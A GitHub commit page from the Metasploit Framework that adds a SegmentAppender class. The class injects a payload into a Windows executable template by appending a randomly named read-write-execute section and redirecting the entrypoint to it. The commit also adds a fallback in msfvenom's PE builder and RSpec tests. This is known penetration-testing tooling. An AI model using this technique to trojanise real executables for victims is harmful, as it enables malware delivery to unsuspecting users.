Skip to content

Commit d3d920b

Browse files
committed
Land rapid7#5029 : Support large payloads for msfvenom EXE
2 parents fd45d92 + a1c7551 commit d3d920b

File tree

5 files changed

+158
-23
lines changed

5 files changed

+158
-23
lines changed

lib/msf/core/exe/segment_appender.rb

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# -*- coding: binary -*-
2+
module Msf
3+
module Exe
4+
5+
require 'metasm'
6+
require 'msf/core/exe/segment_injector'
7+
8+
class SegmentAppender < SegmentInjector
9+
10+
def payload_stub(prefix)
11+
# TODO: Implement possibly helpful payload obfuscation
12+
asm = "new_entrypoint:\n#{prefix}\n"
13+
shellcode = Metasm::Shellcode.assemble(processor, asm)
14+
shellcode.encoded + @payload
15+
end
16+
17+
def generate_pe
18+
# Copy our Template into a new PE
19+
pe_orig = Metasm::PE.decode_file(template)
20+
pe = pe_orig.mini_copy
21+
22+
# Copy the headers and exports
23+
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
24+
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
25+
pe.header.time = pe_orig.header.time
26+
27+
# Don't rebase if we can help it since Metasm doesn't do relocations well
28+
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
29+
30+
# TODO: Look at supporting DLLs in the future
31+
prefix = ''
32+
33+
# Create a new section
34+
s = Metasm::PE::Section.new
35+
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
36+
s.encoded = payload_stub prefix
37+
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
38+
39+
pe.sections << s
40+
pe.invalidate_header
41+
42+
# Change the entrypoint to our new section
43+
pe.optheader.entrypoint = 'new_entrypoint'
44+
pe.cpu = pe_orig.cpu
45+
46+
pe.encode_string
47+
end
48+
49+
end
50+
end
51+
end

lib/msf/core/exe/segment_injector.rb

Lines changed: 1 addition & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -59,20 +59,11 @@ def create_thread_stub
5959
EOS
6060
end
6161

62-
def payload_as_asm
63-
asm = ''
64-
@payload.each_byte do |byte|
65-
asm << "db " + sprintf("0x%02x", byte) + "\n"
66-
end
67-
return asm
68-
end
69-
7062
def payload_stub(prefix)
7163
asm = "hook_entrypoint:\n#{prefix}\n"
7264
asm << create_thread_stub
73-
asm << payload_as_asm
7465
shellcode = Metasm::Shellcode.assemble(processor, asm)
75-
shellcode.encoded
66+
shellcode.encoded + @payload
7667
end
7768

7869
def generate_pe

lib/msf/util/exe.rb

Lines changed: 24 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ class EXE
1818
require 'metasm'
1919
require 'digest/sha1'
2020
require 'msf/core/exe/segment_injector'
21+
require 'msf/core/exe/segment_appender'
2122

2223
##
2324
#
@@ -205,12 +206,15 @@ def self.to_win32pe(framework, code, opts = {})
205206
end
206207

207208
p_length = payload.length + 256
209+
210+
# If the .text section is too small, append a new section instead
208211
if text.size < p_length
209-
fname = ::File.basename(opts[:template])
210-
msg = "The .text section for '#{fname}' is too small. "
211-
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
212-
"#{text.size.to_s} bytes"
213-
raise RuntimeError, msg
212+
appender = Msf::Exe::SegmentAppender.new({
213+
:payload => code,
214+
:template => opts[:template],
215+
:arch => :x86
216+
})
217+
return appender.generate_pe
214218
end
215219

216220
# Store some useful offsets
@@ -506,7 +510,8 @@ def self.to_win32pe_exe_sub(framework, code, opts = {})
506510
def self.to_win64pe(framework, code, opts = {})
507511
# Allow the user to specify their own EXE template
508512
set_template_default(opts, "template_x64_windows.exe")
509-
#try to inject code into executable by adding a section without affecting executable behavior
513+
514+
# Try to inject code into executable by adding a section without affecting executable behavior
510515
if opts[:inject]
511516
injector = Msf::Exe::SegmentInjector.new({
512517
:payload => code,
@@ -515,8 +520,20 @@ def self.to_win64pe(framework, code, opts = {})
515520
})
516521
return injector.generate_pe
517522
end
523+
518524
opts[:exe_type] = :exe_sub
519-
exe_sub_method(code,opts)
525+
return exe_sub_method(code,opts)
526+
527+
#
528+
# TODO: 64-bit support is currently failing to stage
529+
#
530+
# Append a new section instead
531+
# appender = Msf::Exe::SegmentAppender.new({
532+
# :payload => code,
533+
# :template => opts[:template],
534+
# :arch => :x64
535+
# })
536+
# return appender.generate_pe
520537
end
521538

522539
# Embeds shellcode within a Windows PE file implementing the Windows
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
require 'spec_helper'
2+
require 'msf/core/exe/segment_appender'
3+
4+
describe Msf::Exe::SegmentAppender do
5+
6+
let(:opts) do
7+
option_hash = {
8+
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
9+
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
10+
:arch => :x86
11+
}
12+
end
13+
subject(:injector) { Msf::Exe::SegmentInjector.new(opts) }
14+
15+
it { should respond_to :payload }
16+
it { should respond_to :template }
17+
it { should respond_to :arch }
18+
it { should respond_to :processor }
19+
it { should respond_to :buffer_register }
20+
21+
it 'should return the correct processor for the arch' do
22+
injector.processor.class.should == Metasm::Ia32
23+
injector.arch = :x64
24+
injector.processor.class.should == Metasm::X86_64
25+
end
26+
27+
context '#create_thread_stub' do
28+
it 'should use edx as a default buffer register' do
29+
injector.buffer_register.should == 'edx'
30+
end
31+
32+
context 'when given a non-default buffer register' do
33+
let(:opts) do
34+
option_hash = {
35+
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
36+
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
37+
:arch => :x86,
38+
:buffer_register => 'eax'
39+
}
40+
end
41+
it 'should use the correct buffer register' do
42+
injector.buffer_register.should == 'eax'
43+
end
44+
end
45+
end
46+
47+
describe '#generate_pe' do
48+
it 'should return a string' do
49+
injector.generate_pe.kind_of?(String).should == true
50+
end
51+
52+
it 'should produce a valid PE exe' do
53+
expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception
54+
end
55+
56+
context 'the generated exe' do
57+
let(:exe) { Metasm::PE.decode(injector.generate_pe) }
58+
it 'should be the propper arch' do
59+
exe.bitsize.should == 32
60+
end
61+
62+
it 'should have 5 sections' do
63+
exe.sections.count.should == 5
64+
end
65+
66+
it 'should have all the right original section names' do
67+
s_names = []
68+
exe.sections.collect {|s| s_names << s.name}
69+
s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"]
70+
end
71+
72+
it 'should have the last section set to RWX' do
73+
exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
74+
end
75+
76+
it 'should have an entrypoint that points to the last section' do
77+
exe.optheader.entrypoint.should == exe.sections.last.virtaddr
78+
end
79+
end
80+
end
81+
end
82+

spec/lib/msf/core/exe/segment_injector_spec.rb

Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -24,12 +24,6 @@
2424
injector.processor.class.should == Metasm::X86_64
2525
end
2626

27-
context '#payload_as_asm' do
28-
it 'should return the payload as declare byte instructions' do
29-
injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n"
30-
end
31-
end
32-
3327
context '#create_thread_stub' do
3428
it 'should use edx as a default buffer register' do
3529
injector.buffer_register.should == 'edx'

0 commit comments

Comments
 (0)